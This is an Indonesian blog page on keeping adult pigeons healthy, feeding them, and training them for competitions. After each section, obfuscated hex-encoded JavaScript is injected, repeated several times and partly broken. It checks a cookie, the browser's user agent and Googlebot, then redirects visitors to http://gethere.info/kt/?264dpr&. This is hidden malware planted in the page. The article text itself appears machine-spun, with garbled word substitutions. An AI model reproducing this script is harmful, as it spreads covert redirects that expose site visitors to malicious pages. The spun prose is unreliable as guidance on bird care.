IBX5980432E7F390 Memelihara Kesehatan Burung Merpati Dewasa Kupas Triknya - Kicauan Burung Lovebird Ngekek

Memelihara Kesehatan Burung Merpati Dewasa Kupas Triknya

Memelihara Kesehatan Burung Merpati Dewasa

Memelihara kesehatan burung merpati cukup umur – Kesehatan merupakan hal yang paling utama bagi makhluk hidup. Tak terkecuali burung merpati. Karena burung merpati sedang berada di dalam suatu penangkaran, jadi yang menjaga kesehatannya yaitu penangkar. Sebagai seorang penangkar yang baik, kita harus menjaga kesehatan merpati biar dia tidak simpel sakit.

Apalagi burung merpati yang dikhususkan untuk diikutkan dalam sebuah kompetisi. Kita sebagai penangkar hendaknya lebih jeli lagi dalam memelihara burung merpati ini.

Apalagi burung merpati memiliki sifat yang pintar menyembunyikan sakitnya itu. Jangan hingga kita tidak tahu ketika burung merpati sedang sakit.Memelihara Kesehatan Burung Merpati Dewasa

Tingkah laris merpati bisa sebagai salah satu tumpuan dalam melihat kesehatan burung merpati. Jika burung memperlihatkan tingkah laku yang aktif seperti biasanya, berarti merpati sehat-sehat saja.

Akan tetapi, jika tingkah laku burung sedikit berbeda dari biasanya, yaitu lebih cenderung membisu saja, berarti burung sedang sakit.

Selain itu, kesehatan burung mampu dilihat juga dari kondisi badannya. Beberapa belahan badan yang bisa menjadi referensi dalam melihat kesehatan burung ialah seperti pada cuilan mata, bulu, dan tenggorokannya.

Jika burung tersebut sehat maka potongan matanya akan jernih. Selanjutnya bulu-bulunya akan tampak mengkilat dan bila kita pegang bulunya terasa halus. Dan yang terakhir yaitu tenggorokannya yang bersih dengan lendir.

Sebaliknya, jikalau burung merpati tersebut sakit, maka pecahan matanya akan kelihatan terdapat lendirnya. Bulu-bulunya pun berwarna kusam dan warna bulunya pun sudah tidak seolah-olah pada warna bulu yang sedang sehat.

Bagian tenggorokannya pun terdapat lendir. Jika penyakitnya sudah parah, maka tenggorokannya akan dipenuhi dengan lendir yang begitu banyak.

Lendir yang begitu banyak pada kepingan mata dan tenggorokan tentunya akan menggangu burung. Bahkan bisa mengakibatkan kesahalan fatal. COntohnya saja bila lendir yang terlalu banyak pada mata akan menyebabkan mata menjadi buta.

Untuk menghindari beberapa hal diatas, kita harus menjaga kesehatan burung dengan baik. Cara menjaga kesehatan burung itu bekerjsama praktis.

Tetapi banyak penangkar yang malas melakukannya. Contohnya saja dalam hal membersihkan sangkar. Tidak semua penangkar yang mau membersihkan sangkar secara rutin..

Mungkin hanya beberapa penangkar saja. Untuk itu, demi menjagaa kesehatan burung kita harus menjaga kebersihan kandang. Kandang cukup dibersihkan dua kali sehari.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Menjaga Kesehatan Burung Merpati Harian
  • Tips Menjaga Kesehatan Burung Merpati
  • Mata Merpati Paling Bagus Untuk Lomba
  • Merawat Dan Melatih Anakan Merpati
  • Pakan Kusus Burung Merpati Hias
  • Cara Melatih Burung Merpati Muda
  • Perawatan Merpati Mabung Ganti Bulu
  • Melatih Bakalan Burung Merpati Muda
  • Pakan Untuk Jenis Merpati Padaging
  • Cara Beternak Merpati Pedaging Pemula
  • Masa Pengeraman Induk Burung Merpati

Pemberian Pakan Burung Merpati Dewasa

Pemberian pakan burung merpati sampaumur – Bagi burung merpati remaja aduan, pakan yang baik mampu membuat penampilannya menjadi baik pula. Pakan sangat memiliki kegunaan untuk kelangsungan hidup merpati.

Termasuk merpati cukup umur. Merpati dewasa sangat memerlukan pakan untuk memenuhi kebutuhan sehari-harinya. Terlebih bila merpati tersebut diikutsertakan dalam suatu pertandingan.

Pakan yang seolah-olah apa yang bisa membuat burung menang dalam pertandingan? Pakan dengan mutu kualitas yang tinggi ialah jawabannya.

Akan tetapi, kalau burung dewasa tidak dilatih dengan benar tetapi hanya diberi pakan yang berkualitas tinggi saja tidak bisa menjadi juaranya. Fungsi pakan disini ialah sebagai penyeimbang dari latihan rutin yang dilakukan.Pemberian Pakan Burung Merpati Dewasa

Tanpa ada latihan rutin, maka pakan yang berkualtias baik sekalipun tidak mampu menjamin bahwa burung tersebut mampu menjadi juara dalam suatu kontes.

Sebaliknya, tanpa adanya makanan yang berkualitas baik, sekalipun burung latihan secara rutin juga tidak mampu menjamin burung akan menang dalam suatu kontes.

Untuk itulah, pakan yang berkualitas dan bermutu baik juga harus dibarengi dengan latihan yang rutin semoga burung dapat menjadi pemenang dalam suatu kontes yang diikutinya.

Pakan yang berkualitas baik mampu ditemukan di pasar burung atau di toko peralatan burung terdekat. Disana kita bisa menentukan kulinera mana yang cocok utuk merpati.

Harganyapun bervariasi. Dari yang dari puluhan ribu hingga yang ratusan ribu. Persediaan pakan yang cukup banyak juga perlu dilakukan.

Pakan disediakan dalam jumlah yang banyak tujuannya adalah biar apabila stok di pasar burung tersebut habis? Maka mau beli dimana lagi? Sedangkan waktu kontesnya tidak lama lagi. Untuk itulah kita harus mempersiapkan segala sesuatunya dengan tepat.

Dalam pemberian pakan kepada burung, hendaknya kita takar dahulu,Tujuannya ialah biar pakan yang dikasi tidak berlebih dan tidak berkurang.

Jika berlebih dan berkurang maka balasannya akan fatal. Pakan yang diberikan kepada burung juga harus yang bermacam jenisnya. Jangan menyampaikan burung pakan yang itu-itu saja.

Selain pertolongan pakan pokok, kita juga perlu memberikan pakan suplemen untuk merpati. Tujuan santunan pakan pelengkap yaitu supaya kebutuhan akan gizi burung merpati yang belum terpenuhi, akan terpenuhi dengan adanya pakan tamabahn tersebut. Pakan pelengkap yang mampu diberikan kepada burung merpati seperti biji-bijian dan sejenisnya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Ciri Burung Merpati Hias Dan Cara Perawatan
  • Bentuk ukuran Kandang Burung Merpati
  • Cara Mengawinkan Induk Merpati Liar
  • Mata Merpati Paling Bagus Untuk Lomba
  • Pertandingan Sistem Duda Merpati
  • Jenis-jenis Penyakit Pada Burung Merpati
  • Perawatan Merpati Mabung Ganti Bulu
  • Cara Beternak Burung Merpati Kusus Pemula
  • Pakan Untuk Jenis Merpati Padaging
  • Merawat Dan Melatih Anakan Merpati
  • Pakan kusus Untuk Anakan Merpati Pos

Umur Pertandingan Untuk Merpati Dewasa

Umur pertandigan untuk merpati dewasa – Bukan hanya burung merpati muda saja yang dipertandingkan, tetapi ada juga kelas merpati akil balig cukup akal yang dipertandingkan. Burung merpati dewasa yang dipertandingkan tidaklah sama dengan burung merpati muda.

Dimana letak perbedaannya itu? Letak perbedaannya ialah jika burung merpati muda yang dipertandingkan berasal dari peternakan dan memang disengaja untuk dipersiapkan utnuk dipertandingkan.Umur Pertandingan Untuk Merpati Dewasa

Berbeda halnya dengan Merpati akil balig cukup akal yang dipertandingkan umumnya berasal dari merpati yang secara tidak sengaja ditemukan dan penangkar merasa kalau burung tersebut layak untuk dipertandingkan.

Biasanya, yang banyak dijadikan burung aduan ialah burung merpati yang sedang mengasuh anakannya.

Pada ketika mengasguh anakannya ini, peternak memanfaatkannya untuk melatih burung-burung indukan tersebut.

Mengapa harus burung yang sedang mengasuh anakannya yang dijadikan burung aduan? Mengapa tidak burung merpati jenis lainya yang menjadi burung aduan akil balig cukup akal?

Alasannya yaitu karena pada dikala burung ini sedang mengasuh anaknya berat tubuhnya akan menurun. Selain pada berat badannya, otot-otot dan syarafnya pun juga ikut menurun.

Akhirnya burung ini menjadi lemah. Untuk menghindari itu, lalu penangkar mengajari burung ini latihan-latihan khusus yang bisa membangkitkan otot-otot dan syaraf-syaraf yang telah melemah tadi.

Latihan yang paling ditekankan sekali adalah latihan terbang. Mengapa latihan terbang? Karena otot-otot sayap burung akan melemah ketika tamat kawin dan mengasuh anaknya.

Jika dibiarkan kelamaan, maka risikonya akan fatal. Yaitu burung akan menjadi tidak mampu terbang lagi. Untuk itulah, latihan terbang perlu dilakukan.

Semakin usang dilatih, maka semakin usang burung merpati dewasa ini semakin terlatih. Dan burung ini dianggap lebih terlatih ketimbang burung lainnya. Akan tetapi, dalam melatih burung usahakan jangan terlalu dipaksakan. Memaksakan burung yang tidak mau berlatih membuat burung tersebut menjadi liar. Dan percuma saja kalau kita melatihnya.

Setelah burung indukan merpati sampaumur akhir dilatih, barulah kita kembalikan burung tersebut dengan anak-anakanya. Biarkan burung tersebut mengasuh anaknya. Jangan pernah memisahkan burung merpati dengan anakannya walaupun utnuk keperluan pertandingan sekalipun.

Jikapun pertandingan tersebut mendesak, burung bisa mengasuh anaknya minimal satu ekor anak saja. Dan anakan lainnya bisa diasuh oleh burung pengasuh.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4)))var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)phil)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Mata Merpati Paling Bagus Untuk Lomba
  • Pertandingan Sistem Duda Merpati
  • Sistem Lomba Merpati Duda
  • Merawat Dan Melatih Anakan Merpati
  • Merpati Pos Dan Asal-usulnya
  • Tips Menjaga Kesehatan Merpati Lomba
  • Jenis Merpati Yang Bisa di Makan
  • Jenis Merpati Pos Paling Populer Mahal
  • Cara Mengawinkan Merpati yang Baik
  • Kontruksi Kandang Burung Merpati Pos
  • Fungsi Kerja Bagian Bulu Burung Merpati

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Memelihara Kesehatan Burung Merpati Dewasa Kupas Triknya"

Posting Komentar